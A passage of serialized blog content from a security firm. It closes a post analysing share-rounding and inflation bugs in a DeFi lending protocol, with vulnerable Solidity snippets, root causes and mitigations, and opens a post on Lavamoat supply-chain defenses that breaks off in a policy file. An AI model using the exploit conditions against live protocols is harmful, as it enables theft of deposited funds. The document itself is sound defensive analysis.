ResultsInBadDebt();\n}\n",[47234],{"type":25,"tag":115,"props":47235,"children":47236},{"__ignoreMap":7},[47237,47268,47276,47284,47291,47313,47326,47333,47354,47384,47396,47408,47415,47439,47456],{"type":25,"tag":201,"props":47238,"children":47239},{"class":203,"line":204},[47240,47245,47250,47254,47259,47264],{"type":25,"tag":201,"props":47241,"children":47242},{"style":4925},[47243],{"type":31,"value":47244},"uint256",{"type":25,"tag":201,"props":47246,"children":47247},{"style":220},[47248],{"type":31,"value":47249}," withdrawValue ",{"type":25,"tag":201,"props":47251,"children":47252},{"style":261},[47253],{"type":31,"value":1383},{"type":25,"tag":201,"props":47255,"children":47256},{"style":220},[47257],{"type":31,"value":47258}," WISE_ORACLE.",{"type":25,"tag":201,"props":47260,"children":47261},{"style":214},[47262],{"type":31,"value":47263},"getTokensInETH",{"type":25,"tag":201,"props":47265,"children":47266},{"style":220},[47267],{"type":31,"value":4970},{"type":25,"tag":201,"props":47269,"children":47270},{"class":203,"line":226},[47271],{"type":25,"tag":201,"props":47272,"children":47273},{"style":220},[47274],{"type":31,"value":47275},"    _poolToken,\n",{"type":25,"tag":201,"props":47277,"children":47278},{"class":203,"line":278},[47279],{"type":25,"tag":201,"props":47280,"children":47281},{"style":220},[47282],{"type":31,"value":47283},"    _amount\n",{"type":25,"tag":201,"props":47285,"children":47286},{"class":203,"line":311},[47287],{"type":25,"tag":201,"props":47288,"children":47289},{"style":220},[47290],{"type":31,"value":4666},{"type":25,"tag":201,"props":47292,"children":47293},{"class":203,"line":330},[47294,47298,47303,47308],{"type":25,"tag":201,"props":47295,"children":47296},{"style":261},[47297],{"type":31,"value":19058},{"type":25,"tag":201,"props":47299,"children":47300},{"style":220},[47301],{"type":31,"value":47302}," WISE_LENDING.",{"type":25,"tag":201,"props":47304,"children":47305},{"style":214},[47306],{"type":31,"value":47307},"lendingPoolData",{"type":25,"tag":201,"props":47309,"children":47310},{"style":220},[47311],{"type":31,"value":47312},"(_poolToken).collateralFactor\n",{"type":25,"tag":201,"props":47314,"children":47315},{"class":203,"line":397},[47316,47321],{"type":25,"tag":201,"props":47317,"children":47318},{"style":261},[47319],{"type":31,"value":47320},"    /",{"type":25,"tag":201,"props":47322,"children":47323},{"style":220},[47324],{"type":31,"value":47325}," PRECISION_FACTOR_E18;\n",{"type":25,"tag":201,"props":47327,"children":47328},{"class":203,"line":437},[47329],{"type":25,"tag":201,"props":47330,"children":47331},{"emptyLinePlaceholder":17},[47332],{"type":31,"value":496},{"type":25,"tag":201,"props":47334,"children":47335},{"class":203,"line":464},[47336,47340,47345,47349],{"type":25,"tag":201,"props":47337,"children":47338},{"style":4925},[47339],{"type":31,"value":31169},{"type":25,"tag":201,"props":47341,"children":47342},{"style":220},[47343],{"type":31,"value":47344}," state ",{"type":25,"tag":201,"props":47346,"children":47347},{"style":261},[47348],{"type":31,"value":1383},{"type":25,"tag":201,"props":47350,"children":47351},{"style":220},[47352],{"type":31,"value":47353}," borrowPercentageCap\n",{"type":25,"tag":201,"props":47355,"children":47356},{"class":203,"line":490},[47357,47361,47365,47370,47375,47379],{"type":25,"tag":201,"props":47358,"children":47359},{"style":261},[47360],{"type":31,"value":19058},{"type":25,"tag":201,"props":47362,"children":47363},{"style":220},[47364],{"type":31,"value":238},{"type":25,"tag":201,"props":47366,"children":47367},{"style":214},[47368],{"type":31,"value":47369},"overallETHCollateralsWeighted",{"type":25,"tag":201,"props":47371,"children":47372},{"style":220},[47373],{"type":31,"value":47374},"(_nftId) ",{"type":25,"tag":201,"props":47376,"children":47377},{"style":261},[47378],{"type":31,"value":5832},{"type":25,"tag":201,"props":47380,"children":47381},{"style":220},[47382],{"type":31,"value":47383}," withdrawValue)\n",{"type":25,"tag":201,"props":47385,"children":47386},{"class":203,"line":499},[47387,47391],{"type":25,"tag":201,"props":47388,"children":47389},{"style":261},[47390],{"type":31,"value":47320},{"type":25,"tag":201,"props":47392,"children":47393},{"style":220},[47394],{"type":31,"value":47395}," PRECISION_FACTOR_E18\n",{"type":25,"tag":201,"props":47397,"children":47398},{"class":203,"line":522},[47399,47403],{"type":25,"tag":201,"props":47400,"children":47401},{"style":261},[47402],{"type":31,"value":1368},{"type":25,"tag":201,"props":47404,"children":47405},{"style":220},[47406],{"type":31,"value":47407}," borrowAmount;\n",{"type":25,"tag":201,"props":47409,"children":47410},{"class":203,"line":531},[47411],{"type":25,"tag":201,"props":47412,"children":47413},{"emptyLinePlaceholder":17},[47414],{"type":31,"value":496},{"type":25,"tag":201,"props":47416,"children":47417},{"class":203,"line":550},[47418,47422,47427,47431,47435],{"type":25,"tag":201,"props":47419,"children":47420},{"style":230},[47421],{"type":31,"value":4105},{"type":25,"tag":201,"props":47423,"children":47424},{"style":220},[47425],{"type":31,"value":47426}," (state ",{"type":25,"tag":201,"props":47428,"children":47429},{"style":261},[47430],{"type":31,"value":10083},{"type":25,"tag":201,"props":47432,"children":47433},{"style":208},[47434],{"type":31,"value":13971},{"type":25,"tag":201,"props":47436,"children":47437},{"style":220},[47438],{"type":31,"value":275},{"type":25,"tag":201,"props":47440,"children":47441},{"class":203,"line":563},[47442,47447,47452],{"type":25,"tag":201,"props":47443,"children":47444},{"style":230},[47445],{"type":31,"value":47446},"    revert",{"type":25,"tag":201,"props":47448,"children":47449},{"style":214},[47450],{"type":31,"value":47451}," ResultsInBadDebt",{"type":25,"tag":201,"props":47453,"children":47454},{"style":220},[47455],{"type":31,"value":1985},{"type":25,"tag":201,"props":47457,"children":47458},{"class":203,"line":572},[47459],{"type":25,"tag":201,"props":47460,"children":47461},{"style":220},[47462],{"type":31,"value":1187},{"type":25,"tag":34,"props":47464,"children":47465},{},[47466],{"type":31,"value":47467},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":25,"tag":34,"props":47469,"children":47470},{},[47471],{"type":31,"value":47472},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":25,"tag":34,"props":47474,"children":47475},{},[47476,47478,47484],{"type":31,"value":47477},"And indeed, ",{"type":25,"tag":71,"props":47479,"children":47482},{"href":47480,"rel":47481},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[75],[47483],{"type":31,"value":47188},{"type":31,"value":47485}," rounds up the share value.",{"type":25,"tag":191,"props":47487,"children":47489},{"className":5980,"code":47488,"language":5979,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[47490],{"type":25,"tag":115,"props":47491,"children":47492},{"__ignoreMap":7},[47493,47509,47526,47542,47555,47562,47570,47578,47598,47605,47626,47647,47669,47698,47719],{"type":25,"tag":201,"props":47494,"children":47495},{"class":203,"line":204},[47496,47500,47505],{"type":25,"tag":201,"props":47497,"children":47498},{"style":208},[47499],{"type":31,"value":211},{"type":25,"tag":201,"props":47501,"children":47502},{"style":214},[47503],{"type":31,"value":47504}," _calculateShares",{"type":25,"tag":201,"props":47506,"children":47507},{"style":220},[47508],{"type":31,"value":4970},{"type":25,"tag":201,"props":47510,"children":47511},{"class":203,"line":226},[47512,47517,47522],{"type":25,"tag":201,"props":47513,"children":47514},{"style":4925},[47515],{"type":31,"value":47516},"    uint256",{"type":25,"tag":201,"props":47518,"children":47519},{"style":246},[47520],{"type":31,"value":47521}," _product",{"type":25,"tag":201,"props":47523,"children":47524},{"style":220},[47525],{"type":31,"value":547},{"type":25,"tag":201,"props":47527,"children":47528},{"class":203,"line":278},[47529,47533,47538],{"type":25,"tag":201,"props":47530,"children":47531},{"style":4925},[47532],{"type":31,"value":47516},{"type":25,"tag":201,"props":47534,"children":47535},{"style":246},[47536],{"type":31,"value":47537}," _pseudo",{"type":25,"tag":201,"props":47539,"children":47540},{"style":220},[47541],{"type":31,"value":547},{"type":25,"tag":201,"props":47543,"children":47544},{"class":203,"line":311},[47545,47550],{"type":25,"tag":201,"props":47546,"children":47547},{"style":4925},[47548],{"type":31,"value":47549},"    bool",{"type":25,"tag":201,"props":47551,"children":47552},{"style":246},[47553],{"type":31,"value":47554}," _maxSharePrice\n",{"type":25,"tag":201,"props":47556,"children":47557},{"class":203,"line":330},[47558],{"type":25,"tag":201,"props":47559,"children":47560},{"style":220},[47561],{"type":31,"value":4666},{"type":25,"tag":201,"props":47563,"children":47564},{"class":203,"line":397},[47565],{"type":25,"tag":201,"props":47566,"children":47567},{"style":208},[47568],{"type":31,"value":47569},"    private\n",{"type":25,"tag":201,"props":47571,"children":47572},{"class":203,"line":437},[47573],{"type":25,"tag":201,"props":47574,"children":47575},{"style":208},[47576],{"type":31,"value":47577},"    pure\n",{"type":25,"tag":201,"props":47579,"children":47580},{"class":203,"line":464},[47581,47586,47590,47594],{"type":25,"tag":201,"props":47582,"children":47583},{"style":230},[47584],{"type":31,"value":47585},"    returns",{"type":25,"tag":201,"props":47587,"children":47588},{"style":220},[47589],{"type":31,"value":238},{"type":25,"tag":201,"props":47591,"children":47592},{"style":4925},[47593],{"type":31,"value":47244},{"type":25,"tag":201,"props":47595,"children":47596},{"style":220},[47597],{"type":31,"value":4666},{"type":25,"tag":201,"props":47599,"children":47600},{"class":203,"line":490},[47601],{"type":25,"tag":201,"props":47602,"children":47603},{"style":220},[47604],{"type":31,"value":1822},{"type":25,"tag":201,"props":47606,"children":47607},{"class":203,"line":499},[47608,47612,47617,47621],{"type":25,"tag":201,"props":47609,"children":47610},{"style":230},[47611],{"type":31,"value":18486},{"type":25,"tag":201,"props":47613,"children":47614},{"style":220},[47615],{"type":31,"value":47616}," _maxSharePrice ",{"type":25,"tag":201,"props":47618,"children":47619},{"style":261},[47620],{"type":31,"value":10083},{"type":25,"tag":201,"props":47622,"children":47623},{"style":208},[47624],{"type":31,"value":47625}," true\n",{"type":25,"tag":201,"props":47627,"children":47628},{"class":203,"line":522},[47629,47634,47639,47643],{"type":25,"tag":201,"props":47630,"children":47631},{"style":261},[47632],{"type":31,"value":47633},"        ?",{"type":25,"tag":201,"props":47635,"children":47636},{"style":220},[47637],{"type":31,"value":47638}," _product % _pseudo ",{"type":25,"tag":201,"props":47640,"children":47641},{"style":261},[47642],{"type":31,"value":10083},{"type":25,"tag":201,"props":47644,"children":47645},{"style":426},[47646],{"type":31,"value":25764},{"type":25,"tag":201,"props":47648,"children":47649},{"class":203,"line":531},[47650,47655,47660,47664],{"type":25,"tag":201,"props":47651,"children":47652},{"style":261},[47653],{"type":31,"value":47654},"            ?",{"type":25,"tag":201,"props":47656,"children":47657},{"style":220},[47658],{"type":31,"value":47659}," _product ",{"type":25,"tag":201,"props":47661,"children":47662},{"style":261},[47663],{"type":31,"value":6087},{"type":25,"tag":201,"props":47665,"children":47666},{"style":220},[47667],{"type":31,"value":47668}," _pseudo\n",{"type":25,"tag":201,"props":47670,"children":47671},{"class":203,"line":550},[47672,47677,47681,47685,47690,47694],{"type":25,"tag":201,"props":47673,"children":47674},{"style":261},[47675],{"type":31,"value":47676},"            :",{"type":25,"tag":201,"props":47678,"children":47679},{"style":220},[47680],{"type":31,"value":47659},{"type":25,"tag":201,"props":47682,"children":47683},{"style":261},[47684],{"type":31,"value":6087},{"type":25,"tag":201,"props":47686,"children":47687},{"style":220},[47688],{"type":31,"value":47689}," _pseudo ",{"type":25,"tag":201,"props":47691,"children":47692},{"style":261},[47693],{"type":31,"value":5886},{"type":25,"tag":201,"props":47695,"children":47696},{"style":426},[47697],{"type":31,"value":20941},{"type":25,"tag":201,"props":47699,"children":47700},{"class":203,"line":563},[47701,47706,47710,47714],{"type":25,"tag":201,"props":47702,"children":47703},{"style":261},[47704],{"type":31,"value":47705},"        :",{"type":25,"tag":201,"props":47707,"children":47708},{"style":220},[47709],{"type":31,"value":47659},{"type":25,"tag":201,"props":47711,"children":47712},{"style":261},[47713],{"type":31,"value":6087},{"type":25,"tag":201,"props":47715,"children":47716},{"style":220},[47717],{"type":31,"value":47718}," _pseudo;\n",{"type":25,"tag":201,"props":47720,"children":47721},{"class":203,"line":572},[47722],{"type":25,"tag":201,"props":47723,"children":47724},{"style":220},[47725],{"type":31,"value":1187},{"type":25,"tag":34,"props":47727,"children":47728},{},[47729,47734],{"type":25,"tag":65,"props":47730,"children":47731},{},[47732],{"type":31,"value":47733},"Regardless of which way the share rounding occurs, this is a bug",{"type":31,"value":47735},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":25,"tag":34,"props":47737,"children":47738},{},[47739],{"type":31,"value":47740},"This is a really tricky invariant to reason about!",{"type":25,"tag":26,"props":47742,"children":47744},{"id":47743},"root-cause",[47745],{"type":31,"value":47746},"Root Cause",{"type":25,"tag":34,"props":47748,"children":47749},{},[47750],{"type":31,"value":47751},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":25,"tag":34,"props":47753,"children":47754},{},[47755],{"type":31,"value":47756},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":25,"tag":191,"props":47758,"children":47760},{"className":5980,"code":47759,"language":5979,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[47761],{"type":25,"tag":115,"props":47762,"children":47763},{"__ignoreMap":7},[47764],{"type":25,"tag":201,"props":47765,"children":47766},{"class":203,"line":204},[47767,47772,47776,47781,47785],{"type":25,"tag":201,"props":47768,"children":47769},{"style":220},[47770],{"type":31,"value":47771},"totalDepositShares ",{"type":25,"tag":201,"props":47773,"children":47774},{"style":261},[47775],{"type":31,"value":6077},{"type":25,"tag":201,"props":47777,"children":47778},{"style":220},[47779],{"type":31,"value":47780}," _amount ",{"type":25,"tag":201,"props":47782,"children":47783},{"style":261},[47784],{"type":31,"value":6087},{"type":25,"tag":201,"props":47786,"children":47787},{"style":220},[47788],{"type":31,"value":47789}," pseudoTotalPool\n",{"type":25,"tag":34,"props":47791,"children":47792},{},[47793],{"type":31,"value":47794},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":25,"tag":34,"props":47796,"children":47797},{},[47798,47800,47804],{"type":31,"value":47799},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":25,"tag":65,"props":47801,"children":47802},{},[47803],{"type":31,"value":21414},{"type":31,"value":47805}," integer division?",{"type":25,"tag":26,"props":47807,"children":47809},{"id":47808},"mitigations",[47810],{"type":31,"value":47811},"Mitigations",{"type":25,"tag":34,"props":47813,"children":47814},{},[47815],{"type":31,"value":47816},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":25,"tag":34,"props":47818,"children":47819},{},[47820,47822,47829],{"type":31,"value":47821},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":25,"tag":71,"props":47823,"children":47826},{"href":47824,"rel":47825},"https://twitter.com/danielvf/status/1746306320553152615",[75],[47827],{"type":31,"value":47828},"@danielvf notes",{"type":31,"value":47830},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":25,"tag":191,"props":47832,"children":47834},{"className":5980,"code":47833,"language":5979,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[47835],{"type":25,"tag":115,"props":47836,"children":47837},{"__ignoreMap":7},[47838,47862,47909,47943],{"type":25,"tag":201,"props":47839,"children":47840},{"class":203,"line":204},[47841,47845,47850,47854,47858],{"type":25,"tag":201,"props":47842,"children":47843},{"style":230},[47844],{"type":31,"value":4105},{"type":25,"tag":201,"props":47846,"children":47847},{"style":220},[47848],{"type":31,"value":47849}," (_totalSupply ",{"type":25,"tag":201,"props":47851,"children":47852},{"style":261},[47853],{"type":31,"value":10083},{"type":25,"tag":201,"props":47855,"children":47856},{"style":426},[47857],{"type":31,"value":4554},{"type":25,"tag":201,"props":47859,"children":47860},{"style":220},[47861],{"type":31,"value":275},{"type":25,"tag":201,"props":47863,"children":47864},{"class":203,"line":226},[47865,47870,47874,47879,47884,47889,47894,47899,47904],{"type":25,"tag":201,"props":47866,"children":47867},{"style":220},[47868],{"type":31,"value":47869},"    liquidity ",{"type":25,"tag":201,"props":47871,"children":47872},{"style":261},[47873],{"type":31,"value":1383},{"type":25,"tag":201,"props":47875,"children":47876},{"style":220},[47877],{"type":31,"value":47878}," Math.",{"type":25,"tag":201,"props":47880,"children":47881},{"style":214},[47882],{"type":31,"value":47883},"sqrt",{"type":25,"tag":201,"props":47885,"children":47886},{"style":220},[47887],{"type":31,"value":47888},"(amount0.",{"type":25,"tag":201,"props":47890,"children":47891},{"style":214},[47892],{"type":31,"value":47893},"mul",{"type":25,"tag":201,"props":47895,"children":47896},{"style":220},[47897],{"type":31,"value":47898},"(amount1)).",{"type":25,"tag":201,"props":47900,"children":47901},{"style":214},[47902],{"type":31,"value":47903},"sub",{"type":25,"tag":201,"props":47905,"children":47906},{"style":220},[47907],{"type":31,"value":47908},"(MINIMUM_LIQUIDITY);\n",{"type":25,"tag":201,"props":47910,"children":47911},{"class":203,"line":278},[47912,47917,47921,47925,47929,47933,47938],{"type":25,"tag":201,"props":47913,"children":47914},{"style":214},[47915],{"type":31,"value":47916},"   _mint",{"type":25,"tag":201,"props":47918,"children":47919},{"style":220},[47920],{"type":31,"value":298},{"type":25,"tag":201,"props":47922,"children":47923},{"style":4925},[47924],{"type":31,"value":1567},{"type":25,"tag":201,"props":47926,"children":47927},{"style":220},[47928],{"type":31,"value":298},{"type":25,"tag":201,"props":47930,"children":47931},{"style":426},[47932],{"type":31,"value":429},{"type":25,"tag":201,"props":47934,"children":47935},{"style":220},[47936],{"type":31,"value":47937},"), MINIMUM_LIQUIDITY); ",{"type":25,"tag":201,"props":47939,"children":47940},{"style":4497},[47941],{"type":31,"value":47942},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":25,"tag":201,"props":47944,"children":47945},{"class":203,"line":311},[47946,47951,47955],{"type":25,"tag":201,"props":47947,"children":47948},{"style":220},[47949],{"type":31,"value":47950},"} ",{"type":25,"tag":201,"props":47952,"children":47953},{"style":230},[47954],{"type":31,"value":322},{"type":25,"tag":201,"props":47956,"children":47957},{"style":220},[47958],{"type":31,"value":327},{"type":25,"tag":34,"props":47960,"children":47961},{},[47962,47964,47971],{"type":31,"value":47963},"Alternatively, ",{"type":25,"tag":71,"props":47965,"children":47968},{"href":47966,"rel":47967},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[75],[47969],{"type":31,"value":47970},"storing the conversion rate separately",{"type":31,"value":47972}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":25,"tag":191,"props":47974,"children":47976},{"className":5980,"code":47975,"language":5979,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[47977],{"type":25,"tag":115,"props":47978,"children":47979},{"__ignoreMap":7},[47980,48015],{"type":25,"tag":201,"props":47981,"children":47982},{"class":203,"line":204},[47983,47988,47992,47997,48001,48006,48010],{"type":25,"tag":201,"props":47984,"children":47985},{"style":220},[47986],{"type":31,"value":47987},"accrualIndices.borrowed ",{"type":25,"tag":201,"props":47989,"children":47990},{"style":261},[47991],{"type":31,"value":1383},{"type":25,"tag":201,"props":47993,"children":47994},{"style":220},[47995],{"type":31,"value":47996}," accrualIndices.borrowed ",{"type":25,"tag":201,"props":47998,"children":47999},{"style":261},[48000],{"type":31,"value":6077},{"type":25,"tag":201,"props":48002,"children":48003},{"style":220},[48004],{"type":31,"value":48005}," borrowInterestFactor ",{"type":25,"tag":201,"props":48007,"children":48008},{"style":261},[48009],{"type":31,"value":6087},{"type":25,"tag":201,"props":48011,"children":48012},{"style":220},[48013],{"type":31,"value":48014}," precision;\n",{"type":25,"tag":201,"props":48016,"children":48017},{"class":203,"line":226},[48018,48023,48027,48032,48036,48041,48045],{"type":25,"tag":201,"props":48019,"children":48020},{"style":220},[48021],{"type":31,"value":48022},"accrualIndices.deposited ",{"type":25,"tag":201,"props":48024,"children":48025},{"style":261},[48026],{"type":31,"value":1383},{"type":25,"tag":201,"props":48028,"children":48029},{"style":220},[48030],{"type":31,"value":48031}," accrualIndices.deposited ",{"type":25,"tag":201,"props":48033,"children":48034},{"style":261},[48035],{"type":31,"value":6077},{"type":25,"tag":201,"props":48037,"children":48038},{"style":220},[48039],{"type":31,"value":48040}," depositInterestFactor ",{"type":25,"tag":201,"props":48042,"children":48043},{"style":261},[48044],{"type":31,"value":6087},{"type":25,"tag":201,"props":48046,"children":48047},{"style":220},[48048],{"type":31,"value":48014},{"type":25,"tag":34,"props":48050,"children":48051},{},[48052],{"type":31,"value":48053},"We also want to note some general takeaways:",{"type":25,"tag":34,"props":48055,"children":48056},{},[48057,48059,48064],{"type":31,"value":48058},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":25,"tag":65,"props":48060,"children":48061},{},[48062],{"type":31,"value":48063},"apply the state changes and check the invariant",{"type":31,"value":80},{"type":25,"tag":34,"props":48066,"children":48067},{},[48068],{"type":31,"value":48069},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":25,"tag":34,"props":48071,"children":48072},{},[48073],{"type":31,"value":48074},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":25,"tag":26,"props":48076,"children":48077},{"id":4323},[48078],{"type":31,"value":4326},{"type":25,"tag":34,"props":48080,"children":48081},{},[48082],{"type":31,"value":48083},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":25,"tag":34,"props":48085,"children":48086},{},[48087],{"type":31,"value":48088},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":25,"tag":4349,"props":48090,"children":48091},{},[48092],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":48094},[48095,48096,48097,48101,48102,48103],{"id":28,"depth":226,"text":32},{"id":47017,"depth":226,"text":47020},{"id":47136,"depth":226,"text":47139,"children":48098},[48099,48100],{"id":47147,"depth":278,"text":47150},{"id":47185,"depth":278,"text":47188},{"id":47743,"depth":226,"text":47746},{"id":47808,"depth":226,"text":47811},{"id":4323,"depth":226,"text":4326},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":48108,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48109,"description":48110,"author":48111,"image":48112,"date":48114,"isFeatured":17,"onBlogPage":17,"body":48115,"_type":4371,"_id":51595,"_source":4373,"_file":51596,"_stem":51597,"_extension":4376},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[12,11],{"src":48113},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":22,"children":48116,"toc":51574},[48117,48121,48142,48147,48151,48156,48195,48201,48216,48234,48239,48244,48249,48262,48569,48595,48608,48613,48618,48632,48637,48650,48664,48895,48916,48951,48957,48962,48967,49181,49202,49208,49220,49310,49332,49368,49376,49394,49651,49677,49683,49697,49895,49914,50321,50334,50340,50359,50452,50457,50463,50476,50489,50575,50581,50593,50678,50690,50703,50709,50714,50728,51055,51060,51065,51071,51097,51152,51172,51225,51231,51236,51255,51266,51460,51466,51489,51495,51500,51513,51518,51523,51527,51532,51540,51570],{"type":25,"tag":26,"props":48118,"children":48119},{"id":20455},[48120],{"type":31,"value":20458},{"type":25,"tag":34,"props":48122,"children":48123},{},[48124,48131,48133,48140],{"type":25,"tag":71,"props":48125,"children":48128},{"href":48126,"rel":48127},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[75],[48129],{"type":31,"value":48130},"Supply chain",{"type":31,"value":48132}," attacks are becoming ",{"type":25,"tag":71,"props":48134,"children":48137},{"href":48135,"rel":48136},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[75],[48138],{"type":31,"value":48139},"increasingly popular in Web3",{"type":31,"value":48141},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":25,"tag":34,"props":48143,"children":48144},{},[48145],{"type":31,"value":48146},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":25,"tag":40,"props":48148,"children":48149},{"id":28},[48150],{"type":31,"value":32},{"type":25,"tag":34,"props":48152,"children":48153},{},[48154],{"type":31,"value":48155},"It is important to note that there are three different versions of LavaMoat:",{"type":25,"tag":6944,"props":48157,"children":48158},{},[48159,48171,48183],{"type":25,"tag":6948,"props":48160,"children":48161},{},[48162,48169],{"type":25,"tag":71,"props":48163,"children":48166},{"href":48164,"rel":48165},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[75],[48167],{"type":31,"value":48168},"Lavamoat Browserify",{"type":31,"value":48170}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":25,"tag":6948,"props":48172,"children":48173},{},[48174,48181],{"type":25,"tag":71,"props":48175,"children":48178},{"href":48176,"rel":48177},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[75],[48179],{"type":31,"value":48180},"NodeJS Lavamoat",{"type":31,"value":48182}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":25,"tag":6948,"props":48184,"children":48185},{},[48186,48193],{"type":25,"tag":71,"props":48187,"children":48190},{"href":48188,"rel":48189},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[75],[48191],{"type":31,"value":48192},"Lavamoat allow-scripts",{"type":31,"value":48194}," are used to prevent malicious code execution on lifecycle scripts.",{"type":25,"tag":40,"props":48196,"children":48198},{"id":48197},"lavamoats-security-features",[48199],{"type":31,"value":48200},"Lavamoat's Security Features",{"type":25,"tag":34,"props":48202,"children":48203},{},[48204,48206,48214],{"type":31,"value":48205},"The three most important features of Lavamoat",{"type":25,"tag":16970,"props":48207,"children":48208},{},[48209],{"type":25,"tag":71,"props":48210,"children":48212},{"href":31107,"ariaDescribedBy":48211,"dataFootnoteRef":7,"id":31109},[16977],[48213],{"type":31,"value":5516},{"type":31,"value":48215}," are:",{"type":25,"tag":18183,"props":48217,"children":48218},{},[48219,48224,48229],{"type":25,"tag":6948,"props":48220,"children":48221},{},[48222],{"type":31,"value":48223},"Policy Files",{"type":25,"tag":6948,"props":48225,"children":48226},{},[48227],{"type":31,"value":48228},"NPM Anti Hijacking",{"type":25,"tag":6948,"props":48230,"children":48231},{},[48232],{"type":31,"value":48233},"Scuttling",{"type":25,"tag":34,"props":48235,"children":48236},{},[48237],{"type":31,"value":48238},"Let's go over them one by one.",{"type":25,"tag":20392,"props":48240,"children":48242},{"id":48241},"policy-files",[48243],{"type":31,"value":48223},{"type":25,"tag":34,"props":48245,"children":48246},{},[48247],{"type":31,"value":48248},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":25,"tag":34,"props":48250,"children":48251},{},[48252,48254,48261],{"type":31,"value":48253},"For example, take the ",{"type":25,"tag":71,"props":48255,"children":48258},{"href":48256,"rel":48257},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[75],[48259],{"type":31,"value":48260},"Metamask Snap policy file",{"type":31,"value":5997},{"type":25,"tag":191,"props":48263,"children":48265},{"className":193,"code":48264,"language":195,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[48266],{"type":25,"tag":115,"props":48267,"children":48268},{"__ignoreMap":7},[48269,48281,48296,48316,48335,48355,48375,48395,48415,48435,48456,48476,48495,48511,48518,48533,48553],{"type":25,"tag":201,"props":48270,"children":48271},{"class":203,"line":204},[48272,48277],{"type":25,"tag":201,"props":48273,"children":48274},{"style":267},[48275],{"type":31,"value":48276},"   